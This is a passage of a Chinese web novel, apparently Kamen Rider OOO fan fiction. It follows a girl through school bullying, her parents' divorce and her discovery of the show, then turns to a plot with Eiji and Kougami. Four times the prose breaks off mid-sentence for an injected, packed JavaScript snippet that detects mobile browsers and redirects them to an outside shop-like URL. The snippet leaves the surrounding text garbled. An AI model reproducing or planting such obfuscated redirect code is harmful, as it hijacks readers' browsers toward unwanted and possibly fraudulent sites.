但那天窗边一个人也没有。只有窗帘被风吹了起来,扬起白色的光。 -- 那年我还不清楚“幻听”的表现,只是在书上看过,所以完全没有往这方面想。 到了二年级,骚扰仍在持续。我也不知道自己是怎么了,脾气越来越大,原本交好的那个同学也终于受不了我无休止的尖叫,决定与我绝交。 “不好意思,我妈说你负能量太重,不让我和你玩了。” 体育课,我们在看台坐下,中间隔着三四个位置。他突然来了这么一句,瞬间把我给砸懵了。 “可是你不是说,我成绩好……”我试着挽回这段友谊,“不是说成绩好就什么都不用怕吗?” “对不起。”他又搬出了一个新的论点,“我妈说了,很多人成绩好是一时的。而且你是女生,到三年级数学难了,就不会有这么好了。” 如果这是在拍偶像剧,他说完这些,应该还会再对我笑一下,然后转身离开头也不回。但我们都没有那种想噶,所以只是一言不发,又一起坐着度过了这整节课。 因为是上午四节课,下课铃响,他跟我说了句“再见”,然后直接往食堂奔去。 我不饿。回到班上看着空无一人的教室,突然悲从中来,趴在桌上狠狠哭了一场。 原来我并没有自己以为的那么坚强。 当晚回家,我闹着要求父母给我转学。 “开学了学校不好转啊。”我爸说,“就不能克服一点吗?我帮你跟老师打声招呼,让那群人不要再骚扰你,不好吗?” “不。”我坚决拒绝,因为才哭过不久,说起话来又要抽鼻子,“就要转学!我绝对不转班!我也不要老师!” 事到如今我真想不起来当时的情形,只记得自己耍了很多手段,承诺了很多事情,这才换来了宝贵的转学机会,从家附近的学校转到了更远的一所重点小学。 转学前,我妈把老师约到了一家餐厅,让我和老师提前见了个面。 “麻烦您了老师,我家孩子脾气有些古怪,但绝对不是什么坏孩子。希望您多看着点。” 说完从包里拿出过年用的红包,放到老师手里。 “哎呀,这不行的啊!” 老师把红包推了回去。 “您放心,我们对每个孩子都很关心,不会忽略她的。” “您收下吧。” 妈妈笑着,把红包又往前推了一些。 -- 最后那红包还是没有回到妈妈手里。 我转学了,一开始心情忐忑,害怕又出现之前那种情况。 离开原来的地方,到一个陌生的地方重新开始,这种想法究竟是好事还是坏事?这个问题至今我仍在寻找答案,但就从那次转学的结果看来,似乎我做了一个绝对正确的选择。 -- 新学校的环境很好,教室很大,学生也更少。他们的脾气比我原来那所学校的同学要好上太多,就连我的名字,他们也另作了一番解释。 “你叫秋山燕?好好听哦,像《海燕》一样美呢。” “《海燕》?” “你不知道吗?《海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510637|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕之歌》。是一个很厉害的作家高尔基写的。” “高尔基?” “你不知道?难道你不看书吗?” 以上是转学第一天里,我和同桌沫沫的对话,也就是后来地铁上和我聊了半天OOO的那位。当年的她还没有看日本影视,兴趣爱好是动漫,对当年日本流行的漫画作者如数家珍,像是高桥留美子啊,天野明啊,CLAMP啊……全是她心头好。 转学的第二天,她把载有《海燕之歌》那本书拿了过来。 “就是这个。”她把书翻开,手指着上面的中文字念道,“在苍茫的大海上,狂风卷集着乌云。在乌云和大海之间,海燕像黑色的闪电,在高傲地飞翔……” 我的家里其实有很多书,但是从来没有这类诗集,而都是一些诸如《苏菲的世界》、《理想国》、《纯粹理性批判》、《存在与时间》……以及类似题材的恐怖作品。 我的父母按照他们所认为合适阅读的年龄,把它们排列出来,要求我每天都看,看完了还要写感想。他们觉得书就是使人明智,所以拒绝了一切文学作品和流行小说。 “反正你在学校也能看到。”我爸这样说。 所以,当沫沫把《海燕之歌》拿给我看时,我第一次发现原来除了课本,那些出版成书的文字也可以简单易读。 “这都是我家里人要我看的。”沫沫说着,把书收了回去,“你家里人不要你看书吗?就算家里人不让,我们也应该多读点书,这样不光是对成绩,对人生说啥也有帮助。” 这说法和我爸一模一样。 “没有,我家里人也叫我看书的。” “那你怎么不知道高尔基?”沫沫歪着脑袋,亮莹莹的大眼睛里满是好奇,“你平时都看的什么?” 于是我把那本《苏菲的世界》拿了出来。 “看的这个。”我说,“等看完了,我爸爸还要我看一个叫……” 我还不认识罗伯特·所罗门:“叫萝卜头的作者的书,名字是《大问题》。” “萝卜头?《大问题》?”沫沫拍着手笑,“好奇怪啊,这书是教种菜的吗?” 我摇头:“不,哲学。” “啊?” 之后好多年里,沫沫都在跟我吐槽我家教育真是荒诞不经。我那做哲学教授的爹一定是走火入魔,居然叫一个八岁小孩读那种东西。 “我当年真是脑子进水才没把你爸妈骂一顿。”高中某天放学回家,提起往日的事,她仍是义愤填膺,“不管不顾,还拿着完全不能理解的书折磨你,豺狼都没这么坏的,这种老登就该狠狠爆金币然后原地蒸发才是啊!” “还好吧?”我已经完全放下,反过来安慰她说,“也多亏了小时候的基础,我才能如此全面地感受到三蛋的好,就当预售了。” “我说你真有点斯德哥尔摩吧?你那原神家庭,给你的麻烦绝对比帮助大OK?”沫沫震惊了,“三蛋这玩意儿到底给你下了什么迷药?三年了,我对我最喜欢的作品也不这样啊!” 现在看来,大概是从那之后,沫沫坚定了终有一日要品鉴三蛋的决心。她实在想知道,究竟什么作品能把朋友迷成这幅样子。 19. 不后悔的生活(2) 因为沫沫的存在,转学后我的生活比以前好过太多。渐渐地我再也听不到原先那帮子同学的嘲笑,到高年级成绩也没有下滑,一直稳在班级前五。 六年级,我报名了几所中学的自主招生考试。考前我没报太大希望,但我的老师很紧张,甚至提前一个月找我,问我需不需要她的辅导。 “你真的要努力点啊。”她苦口婆心地说,“班上就你情况最不稳定,其实你多做点题,多看会儿书,考上的几率很大。要有个好初中,半只脚就踏进大学的校门了啊!” 我实在不理解她的意思。作业已经很多了,为什么还要继续增加?分数再高,那就真得次次都考满分了。我觉得我完全做不到。 “你可以的。”老师点了点头,拉过我的手鼓励我说,“你想想沫沫,不是每科都比你高一两分?这就是基础的差距。而且我们平时的题目真的不难,考满分很简单。但自主招生考试不是这样。基础不好的人,倒时候分数会很差的!” 说完她又叹气:“说实在的,我觉得你后面的几个,都比你机会大些。最后一年了,努力点皆大欢喜不好吗?” 努力。 我脑海中盘旋着这个词语。 又是努力。 基本上每一任老师都会先肯定我的天赋,然后用更多的篇幅指出我在“努力”方面的问题。从他们嘴里,我知道了自己就是个整天无所事事,学业上靠着那点灵光吊着的人。文艺点说,是随时可能陨落的伪神。 如果我想保住自己的成绩,我必须比现在更加努力。 但是,怎么才算努力? 从老师办公室回去,路上我满脑子都是这个问题。正好沫沫也上完洗手间回来,看见我拿着词典不停翻找,绕到我身边故作惊讶道:“这是太阳从西边出来了吗?燕儿课间的时候竟然碰词典了,大进步啊!” 我抬起头来,正对上沫沫弯起的笑眼。想到老师说给听我的话,闷闷地问道:“沫沫你知道什么是努力吗?” “努力?”沫沫转了进来,拉出座位坐下,“努力就是努力,还能是什么呀?” “词典上说,努力指的‘把力量尽量使出来’……”这释义是真抽象,“我觉得我做到了呀,为什么老师还说我不努力呢?” “你在意这个干啥都那么,老师眼里零个人是努力的。” “但她说你就很努力。” “有吗?”沫沫歪着脑袋思索,“那可能是因为她喜欢我做的事吧?” “喜欢你做的事?”我继续问,“还有这种说法?” “当然喽,老师也有自己的偏爱嘛。我们那位不就喜欢学生写笔记本,写错题集,写反思……”沫沫张开五指,每说一样就摁下一根,“如果换隔壁班的老师,他应该就觉得我天天在做无用功吧。” 我好像听懂了,又好像没有:“所以,努力就是老师的喜好。” “反正我觉得是这样!”沫沫笑嘻嘻的,“是不是她又找你了呀?别信,按照你想的去做就是咯。努力不努力的……考到第一名就没人说啦!” 是这样吗?努力的本质是老师的喜好。 一连三天我都在思考这个问题,末了不得不承认:沫沫的话是对的。 如果以制作题集为努力的标准,班上第一名的那个女生完全是教科书级别的“不努力”。她从来不写错题,也不爱卷后反思,但她的成绩就是很好,次次考试只有作文能让她扣分,所以老师不会去找她说努不努力的问题,而是说她私底下一定非常用功,让我们不要只看表象,而是得看到人家私底下的努力。 其实我和沫沫都知道,第一名私下过得更懒。说好周末去图书馆,她每次都会迟到。找她连麦做题,十次里有八次说要睡觉,隔着网线都能听见平稳的呼吸,不知道又做了怎样的一个美梦。 比天赋怪更让人恼火的是这人真是你的同学。而且此人样貌好家境好性格好样样都好,尊师重道谦和有礼,从最平庸的到最古怪的都能包容,想讨厌她都找不出个理由,根本是三体人降维打击来的。 人够优秀,做什么就都有借口。哪怕本人没有这种想法,也总有人会替他们找借口,以此推销自己。 所以关于我究竟努力不努力这个话题,说一千道一万,还是我成绩不好。 -- 招生考试比毕业考早两个月,共有五场,从期中考试后开始,不给人任何喘息的时间。 我一共参加了其中三场。整一个月,我天天做题,感觉自己变成了一张打印机,正面白色试题输送进去,很快就吐出一张写满文字,又被红笔勾画过的考卷。 我的老师非常焦虑。除了我们的前途,她自己的前途也拴在这次的招生考上。 “没事,我这才第一届呢。” 某天中午我去上洗手间,路过办公室听见老师的声音,似乎是跟人在打电话。 本来这是老师的私事,于情于理我不该管。但那天应该是心血来潮,我扒着墙壁,把耳朵贴了上去。 我听得一清二楚。 “我肯定带得好啊?我心血在他们身上了,考不好怎么可能。” “是就这一次。” “没办法啊,家里就想我回老家教书。觉得稳定清闲,好嫁人。” “那肯定还是用钱说话有用。” “不说了啊,挂了。” 我们学校是私立性质,教师没有编制,但工资高,五险二金,交的学生有多少考进五大重点,老师就能按人头拿奖金,都是大家心知肚明的潜规则。但从来没人会这么直白地把话说开。 当时我应该是很愤慨的,觉得自己被老师当成了赚钱的工具。因为这个,我跟老师的关系迅速疏远,用多少红包也换不回来。 -- 五月成绩出来,我和沫沫都考上了本市排名第一的初中。 名单公示的那天,沫沫打来电话,激动地告诉我这个好消息。我虽然一直说不在意,但当自己的名字真的和一堆我所钦佩的人并列在一起时,还是像中了百万大奖一样,怎么也静不下心,就等着爸妈回来,和他们一起分享我的快乐。 真是太好了。那时我还真想。爸妈最近真的太辛苦的,在家里也不敢说话,就怕影响到我的考试。现在得到这样一个成绩,我应该是没有辜负的吧? 我从早晨等到傍晚,再等到晚上。他们工作太忙了,我知道,所以饭点我给自己叫了吃的。这样等他们到家,看到我吃饱喝足的样子,就能明白自己的女儿已经长大,可以不再事事操心。 -- 我把餐盒收好,垃圾倒掉。打开没读完的书, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510638|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没两行又合上,眼神一直往门口瞟。 真是奇怪,怎么还不回来? 以往晚归的情况也不是没有,尤其这一个月,爸爸或妈妈,他们总有一个人不在家里。但今天是放榜的日子,他们再忙,也没理由不和我一起庆祝这件事吧? 大约八点,门口终于有了动静。 我一骨碌从沙发上翻了起来,哒哒哒地跑到门前,轻快地把门拉开。 “爸爸!妈妈!”我兴奋地叫道。 然而,门外的爸妈看上去却一点儿也不开心。 “燕儿。” 他们在玄关换鞋,妈妈趁机蹲下来抓住了我,很认真很认真地看着我的眼睛。 “到餐桌去,爸妈有事想跟你说。听话,好吗?” “哦。” 我不明所以。但既然妈妈这样说了,我乖乖点头,又小跑着去了餐厅。 -- 不知道别人家里怎样,在我家,餐厅除了吃饭,更多是说要紧事的地方。 一个月前,爸妈在餐桌上宣布我要参加三场考试,之后我们一家就再没有一起吃过饭了。 我把椅子拉开,正好爸爸妈妈也过来了。我们三个一人占据一边,爸爸妈妈面色凝重,酝酿着我看不懂的风暴。 难道我又做错了什么? 不应该啊。老师下午还给我发了短信,说我发挥很好,很出色呢!不至于才几个小时,我就从“很棒”变成“很可恶”吧! “秋山燕。” 是爸爸。 在以前,爸爸总是叫我“燕子”或是“燕儿”,而不喊我的大名。现在他叫了我的全名,说明事情很大,只有“秋山燕”这个身份才能承受得住。 原本就提到嗓子眼的心一下吊得更高。 爸爸接着说。 “我们分开了,我和你妈。” 分开? “分开?”我傻愣愣的,完全不理解这番话里的意思,“你们是不回家了吗?” “不是的燕儿。” 妈妈的解释倒很直白。 “就是离婚。” 离婚?! “我和你妈,我们考虑了很久,半年前就下了决定。但是因为你要考试,一直没告诉你。” 没告诉我?! “现在你成绩也有了,我们可以放心了。所以决定告诉你这件事。” 放心了?! 我完全呆住,根本说不出话来,好半天才想到一句:那我呢? 感情没了,成绩有了。他们放心了。 那我呢? 我拼命读书,考上你们想要我考上的学校,为的应该不少能让你们安心通知我,现在我是个没人要的小孩子吧! “一定要离婚吗?”我怯怯地发问,“我拿了很多三好学生,考上了最好的学校,老师说我会有出息,我……我……” 我绞尽脑汁,拼命诉说自己取得的小小成绩,希望这样就能让父母回心转意。 “你是我们的骄傲。”妈妈走了过来,紧紧地握住我的手掌,贴着我的耳朵,很庄重地说了句话。 那句话宛如诅咒,后来久久地缠绕着我。在无数个难捱的午夜,如噩梦一般清晰。 “不要难过,燕子。不论如何我和你爸,我们永远爱你。” 20. 不后悔的生活(3) 长大后在某篇软文上看到:每个孩子成长中似乎都会从父母那里得到这样一个问题:如果某天我和你爸/你妈离婚了,你是决定跟爸爸呢,还是跟妈妈。 沫沫的爸妈就经常用这个问题逗她,跟我说到现她在已经学会了听到开头就翻白眼,告诉他们自己谁也不跟,一个人去孤儿院里,和一群小孩在一起玩,日子不晓得有多自在。 然而,我爸妈就从来没有问过这些,因为他们觉得这种假设非常无聊。 我本来以为,父母离婚,是童年缺少了“跟爸爸跟妈妈”问题的报应。现在该是到了选择“爸爸”完全“妈妈”的时候。 结果我完全想多。 -- “以后就跟爷爷奶奶住吧。” 我被送到一栋六层高的筒子楼里,说是我以后的家。 爷爷奶奶在客厅等我,为我的到来准备了一桌子好菜,我却没什么胃口,勉强吃下半碗,转身把空碗拿到水池里时听见爸爸的叹息。 “不好意思燕子,爸爸妈妈真的太忙。你一直都很聪明,一定可以理解我们的苦衷。” 我不理解。 -- 爸爸吃完饭便走了,临别前看了看我,似乎想再叮嘱些话。 但最后什么也没有说。 爷爷奶奶为我准备了一个房间,说是屋子里采光最好的。 他们带我进去,我一看,床单已经铺好了,是像嫩草一样水灵灵的绿色。 “我们问了一下……小纪。她说你喜欢这个。” 小纪是我妈妈的昵称。我猜爷爷奶奶一定觉得,能和女儿闹成这样,自己儿子一定不怎么样,所以才迂回问了已经没有关系的儿媳。 他们不知道的是,其实我和我妈关系也很一般。这种绿色是我三年前的喜好,早过期了。 “谢谢,我很喜欢。”即便如此,我依然装出一副笑脸。因为我没有道理不去怨恨那两个抛弃我的家伙,而迁怒这两位与我有着同样心情的老人。 我继续往房间里走,视线扫过屋子里的陈设。 立式衣柜。 立式书柜。透过玻璃板能看见里面好多花花绿绿的漫画,像是《地》之类的,沫沫应该喜欢。 一张很宽的书桌。 原木椅。 还有…… “这是什么?”我拿起书桌上的盒子,尝试拼读上面的字母,“PA……PAD?” 平板电脑? “那是我们准备的,有个手机还在路上,店员说断货了,这两天送来。”奶奶忙说,一副埋怨的口吻,“你爸爸还说不要给小孩子买这些,我看别家的都有,哪有这种道理。又不是多贵,省那点干嘛。” “你爸就是脑壳有问题,那么好的媳妇他要离婚。”爷爷趁机说道,“还有那个书什么的,他说你爱看书,我们不懂,就让朋友拿了一些,说是他闺女喜欢的……你看看喜欢不喜欢?” 喜不喜欢……至少得先看过再说吧。但我完全没看过漫画,哪怕沫沫也因为害怕老师收缴,从不把它们带来学校。 “喜欢。” 即便如此,我还是这样回答,怕万一说错什么,他们也不要我了。 -- 我已经考上初中,有了去处,所以最后一个月在学校完全躺平,每天都和沫沫分享各自的生活。 “什么,你爸妈离婚了?!” 说这话时沫沫和我坐在花坛的边角,上个话题是沫沫最近新看中了一套漫画,可是很贵,家里人不买给她,然后说要是像我家一样有钱就好。 “但不要是你爸妈那样,管的好严。” “现在没有人管我了。” 于是我顺嘴说出我的变故。 沫沫怔住了,好一会儿才说:“他们……就这样瞒着你啊?” “说是怕影响考试。”我心情低落,连说话都有气无力,“我真的不懂了,我考试是想讨得他们欢心,我以为我考好了,我家就……都会好转。但怎么我考的越好,情况还反而越差了……” 这个问题就连一向机灵的沫沫也无法给出答案。 “那是你爸妈的问题,不是你的。”她说,“不要为此就放弃呀,我们……我们……” 沫沫“我们”不下去了,干脆又说起当天的风景,说起花坛里新开的花。 -- 我没有告诉沫沫,没告诉任何人,其实当时我正为自己考上初中这件事情后悔。 “现在你成绩也有了,我们可以放心了。所以决定告诉你这件事。” 这句话的意思难道不是:如果我没有成绩,他们无法放心,我就不用得知父母离婚的消息,我的家也能继续存续下去? 我不知道。 从我父母的行动来看,他们应该早就离婚了。最后的那一个月,我很少看见他们同时在家中出现,但我以为那只是两人都忙,以为这次还是和以前一样。 后来很多人也告诉我:你的爸爸妈妈其实并不合拍。 “他们都太自……我了。”我猜那人想说的是“自私”,“野心太大,都不肯让步妥协。恋爱还好,结婚了日子真不是这样过的。” 我还小,完全不明白那人的意思,大概就是说他们很不般配吧。但般配不般配也和我没关系呀,我又不跟他们结婚,这方面完全影响不到我的。 我只是为一件事情愤怒。 从决定离婚到决定抚养权的归属,从始至终,他们连选择都不曾给我。 -- 小学毕业的暑假,我用将近三个月的时间,接受了我爸妈就是这样的人。我再也不给他们找借口了,只是接受,我看似十全十美的父母,其实也有他们不完美的时候。 好在我还有爷爷奶奶。 爷爷奶奶对我是另外一个极端。爸爸妈妈什么都不让我做,不能看漫画,不能打游戏,不能用上网聊天,以至于联系沫沫还得靠电话,而沫沫说现在早就没人用号码了,第一次打来他妈妈还以为是电信诈骗,提醒她不要接电话呢。 而现在,爷爷奶奶允许我用QQ,用微信,还给我赚了好几百块,说是网上买东西方便。 正因为有了这些,我才有了与假面骑士OOO相遇的可能。 -- 第一次知道假面骑士OOO,是在音乐软件的日推歌单里。 沫沫经常拉着我一起听歌。她喜欢日漫,所以听的大部分都是动漫插曲,尤其是旋律激昂,叫人听了想要跳起来的那种。 这时我已经在学日语了,原因是爷爷奶奶从别人家里拿来的漫画,竟有一半是日文原装。看到我拍的照片,沫沫哇哇叫着,总跟我说这个好那个好,说我暴遣天物。于是我也终于看了起来,就从那套《地》开始。 那是个讲述中世纪的故事。 因为看不懂内容,我把它当成连环画册,很快地翻阅过去,翻完带着一肚子的问号,不明白为什么网上对它的评价有那么高。 这画的也就一般啊……台词很好?台词看不懂。这句话好有意思,是翻译吗?但句又很奇怪了,原文真的是这样吗? 这便是我学习日文的源头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510639|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -- 言归正传。那会儿我坐地铁去上日语课,歌单里随机到了渡部秀和三浦凉介的《Time judged all》。 当时我还不知道这是《假面骑士OOO》的插入曲,只觉得导入真好听啊,宛如唱诗班的圣歌。日本人真的好会做音乐。 我打开手机,准备把这首歌加入歌单。往下一滑,看见这样两句歌词。 “是这样吗?每个人都只想着自己被满足。” “不是这样,我想知道不后悔活着的办法。” 两句话霎时击中了我。我不停调整歌曲进度,不停循环。 “是这样吗?每个人都只想着自己被满足。” “不是这样,我想知道不后悔活着的办法。” 是这样吗?每个人都只想着自己被满足。 不是这样,我想知道不后悔活着的办法。 我想知道不后悔活着的办法。 -- 地铁到站,我低头跑了出去,以一个我没有想过的速度到达地面,又飞快地跑进了上课的大楼,果断选择楼梯,一路往上爬,直到身体终于承受不住,精疲力竭地靠着扶手喘气。 只有这样得以表达路上我所积蓄的感情。 休息了一会儿,我继续爬楼。 日语教室在十三楼,对我这样的体能废柴,是需要走走停停,重复三次才能抵达的高度。 拖着沉重的步子,我走进教室。 以往我都是第一个到的,因为这样会让人觉得自己非常自由,可以在教室里做许多肆意的事。 但在那天,教室里坐着另一个人。 -- “秋山燕?!” 那人抬头,看到我的时候明显兴奋起来。 “你……”我也惊讶了。这不是我转学前那唯一的朋友吗,怎么他会在这里? “好巧啊,转学后都没见过了。” 他连忙起身,似乎想要跟我叙旧。我还记得绝交那天他说的话,潜意识里不接受他的靠近,抓着手机步步后退,脚一绊打了个踉跄。 手指不小心点到了播放键,熟悉的旋律通过扬声器倾泻而出:“相对的愿望……” 怎么尽做些丢脸的事! 我赶紧把歌曲中断。说来这也是我的一个坏毛病了,总不看耳机的剩余电量,不然上楼时也不会电量耗尽,没办法又装回去充电了。 我以为他肯定也被这突如其来的歌声吓到,刚要道歉,没想到他却完全不在意似的,目光炯炯地说:“你也看OOO?” 欧兹? 我没看过。 “没看过吗?全名是《假面骑士OOO》。这是里面结婚鸟的歌!” 结婚鸟? “我真的特别喜欢OOO了,映司他超帅的。我给你看。” 他真的完全不介意我大声外放歌单,反而像挖掘出了什么宝物,兴致勃勃地要跟我分享。 “这个就是OOO!” 他把手机横了过来。画面中有个着装风格个人那我跟我奶奶一模一样的男人,还有一只飞来飞去的怪手。 “变身!” 男人大喊。一阵诡异的音乐伴随特效闪了过去,原本男人所站的位置出现了个更诡异的红黄绿三色信号灯人。 好奇怪。 我在心里评价。 这时的我还不知道,再过两个小时,从课堂回到家里,我会在网上搜索有关假面骑士OOO的资料,打开剧集列表,并像迷恋上那首歌一样,于瞬间迷恋上它。 21. 没有腰带的骑士(1) 可惜,我的提案最终并未得到采信。 倒不是映司他们不愿配合。当时我手机都掏出来了,刚要联系伊达叔,结果映司的电话响了,好巧不巧来电的还正是伊达明。 “太好了伊达先生,我们正准备打电话给你……什么?” 映司接下电话,对面的伊达叔似乎在说很重要的事情,我看见映司频频点头,嘴角却紧绷着,几乎成了一条直线。 “明白了。” 通讯结束,映司的语气比之前要凝重许多。表情也是。 “出事了。” 我早有预料。能让伊达叔如此着急地来找映司,除了坏消息还能是什么。 不过这消息还是太坏了点。 “Greeed出现了,警视厅那边正在整合情报,我必须马上过去。”映司简单说明了下伊达叔那边的情况。 昨晚,一个不同于Yummy的的智慧生命体暴露在警视厅的视线中。经过研判,他们判断这个生命体便是一切混乱的根源,即人们记忆中消失已久的Greeed。 “怎么可能!”我追着映司下楼,“我不是说了吗,现在的Yummy都是人变的,根本不需要Greeed的参与,怎么可能还会有Greeed!” “理论上或许如此。”映司飞快地清点硬币,一边说,“但是,有些问题依然无法解释。” “这套理论可以解决一切问题。”我坚持道,“我思考了好几遍,逻辑上是通的!警视厅根本是没事找事!” “他们是有道理的。” 映司装好硬币,大步往门外赶去。 我憋屈极了,紧紧跟在他的后面,大有不给我解释清楚就不让你出门的意思。但我其实也拦不住映司。是他突然折回头来,认真跟我解释。 “没有不相信你。”映司说,“但是那毕竟是你所独有的经历,缺少证据,警视厅的专家们也不敢轻易采信。更何况,你的说法无法解释‘硬币是哪里来的’这个问题。找不到幕后那个存在,大家的任务就没有结束。” 我知道他是对的,但还是有些郁闷,感觉自己天才般的设想被辜负了,忍不住抱怨道:“那我现在能做什么呢?我知道不存在这个Greeed,你也知道,伊达叔应该也知道,甚至警视厅的那些人,我不觉得他们不知道。但我们就是要相信Greeed确实出现了,因为这样就可以‘轻松’地解释一切。” “不是这样的,小燕。” 这还是映司第一次喊我的昵称。 偶像的力量还是太大,哪怕只是一个称呼的变化,都能让我觉得自己仿佛被净化了,内心平静而幸福。 就在我为其中隐隐拉进的距离而欣喜时,映司继续说:“不要把它当成是一场对抗,而是合作。” “合作?”我反问,语气却没有了先前的尖刻,更像是在讨教的学生,“我说没有Greeed,他们却说有,这不是跟我唱对台吗?天底下哪里有这样的合作?” “所谓的‘合作’,并不一定是要对某一构想百依百顺。就好像‘我们’和警视厅,或者——我不是也没有告诉他们,你身上有硬币的力量?”映司笑笑,举了个他认为恰当的例子,“偶尔会有摩擦,偶尔又很亲密,但不论如何,都是为着同样的一个目标各自努力。这就是合作。” “合作……” “啊,真该走了。”他低头看了眼时间,“会有这样的时候吧?回过头看,很多事情并不是只有一个答案。” -- 2018年,随着电影《流浪地球》的上映,一个新的热点被创造出来。从饭后闲谈到作文素材,那段时间到处都在讨论剧中“饱和式救援”的作用。老师甚至为此组织了一场辩论,要求我们讨论投入“数倍于所需的资源,确保达成目的”这一手段,在现实生活里是否可行。 沫沫抽到的是正方。不过,她更认同的却是反方观念。 “烦死……反正我觉得不行。” “为什么?” “意外哪里是可以穷举完的。别看电影是那样,万一那些车过去的路上雪崩了呢?万一针生锈推不动了呢?万一估计错误燃料不够了呢?” “那就没必要拍电影了。” “所以不行啊!电影是电影,现实是现实。现实的意外太多了,投入再多也不可能完全避开。所谓数倍于所需的资源……根本放屁。” 我不知道自己更偏向还是反方。不,我根本就没有参与那场辩论,因为讨论本身没有意义,正如马克思所说的:哲学家们只是用不同的方式解释世界,而问题在于改变世界。 但是,如今我旧事重提。 是因为我其实也觉察到了,这个世界已经是需要“饱和式救援”的时候了吗? …… 我并不确定。 但我相信自己的直觉。就像考试时遇到难解的选择题,我也弄不清楚该如何作答,可当是ABCD都看过一遍,正解也就自然而然地被勾选出来。 在OOO的世界观里,这个正解就是…… “你那无与伦比的巨大容器,承载着欲望的结晶!” “你的欲望,一直都停留在这里了——你要用这里来感受一下!” “Happy Birthday!这是我们的契约。” 嗯…… 无数鸿上光生的名场面在我脑中划过。 引诱映司,欺压后藤,哄骗小鸟……种种劣迹罄竹难书。 真的很不想找他。 -- 但其实也没有第二个选项。 我拨通绘里香小姐的电话。 “打扰了,我是秋山燕。” “我想预约一下鸿上会长,请问他什么时候有空?” “诶?随时?” “那么明天可以吗?我可能要做点准备。” “啊?今天?下午吗……马上?!” “好的,我现在就过去!” -- 鸿上光生的反应远比我想得积极。 跟知世子小姐打过招呼后,我乘车去往鸿上美术馆,路上又跟绘里香小姐打了一通电话,得知这几天他们都在美术馆内,似乎在追踪八百年前的事,她也说不明白。 总之,到了就知道了。 -- 司机把我送到了美术馆外的巷口,说里面是私人土地,进不去了。 我在基金会倒没遇到这样的情况,大概因为那里是商圈吧。本以为这回指定要迷路,还好绘里香小姐就在路边接我。 “辛苦了。”她帮我付好车费。我望着出租车离开的方向,目送它又驶远。 绘里香在一旁说:“鸿上会长在馆内等你。但他说以为你要过几天才来,很多东西没有准备。所以我们要先在外面消磨一下时间。” “啊?”听到要在外面,我马上感到一阵晕眩,全身的皮肤都烫了起来,“现在有二十九度,会中暑的!” “没关系,鸿上会长有要我准备这个。” 绘里香小姐说着打开身上的口袋,里面是数个待机状态下的、深蓝色的罐头小机械。 “这是新研发的水母罐头小机械,可以制冷。” 绘里香把罐头小机械取出来递给了我。 我接过它,摁下罐头侧面的开关。 罐头立刻在我手中形变,几经展开后呈现其本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510640|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的结构,像是上学时流行的手持电扇。 “像是算计好这一切似的……真叫人不爽。”我撇嘴嘟哝了一句,扭头问绘里香,“绘里香小姐会这样想吗?好像被监视了,被看透。” 绘里香小姐倒很坦然。 “不会啊。” “为什么?” “鸿上先生只是我的老板。对于他,我希望能多发工资多放假就好。” 对于这个问题,绘里香小姐如是回答。 -- 我们在外面的等了十多分钟,才被允许进入鸿上美术馆。 说是美术馆,其实是一栋私人宅邸,里面放置了许多与OOO有关的收藏,整体氛围幽暗而神秘,更像是八百年前会存在的光景。 像上次在基金会时一样,鸿上光生背对着我们,面前是OOO的巨大浮雕。 “你还是来了啊!”大概是听到了门开的声音,鸿上光生转过身来,一如既往开始他的浮夸表演,“我就知道,因为这就是你的欲望!”“恭喜你终于找回了它。今天就是你的新生,Happy Birthday!” 事到如今这套对我已经无效了。我看向身前那张长桌。真是稀奇,这次居然没有蛋糕。 “新生不新生的……我有正事。” “什么事?” “映司给你的石板,有别的信息对吧?你没有告诉他们。” 我不打算客套,直接说出了此行的目的。 不过,我也从来没指望过鸿上光生有问必答。 “有意思……推理游戏吗?”他抬手虚虚掩住下巴,倒真有种扮演侦探的味道。 “我才没空玩推理游戏!”对这人我真没招了,只好把话说得更直白一些,“Greeed的事情,你早就知道了,对吧?但是你瞒而不报,导致警视厅现在才知道。” 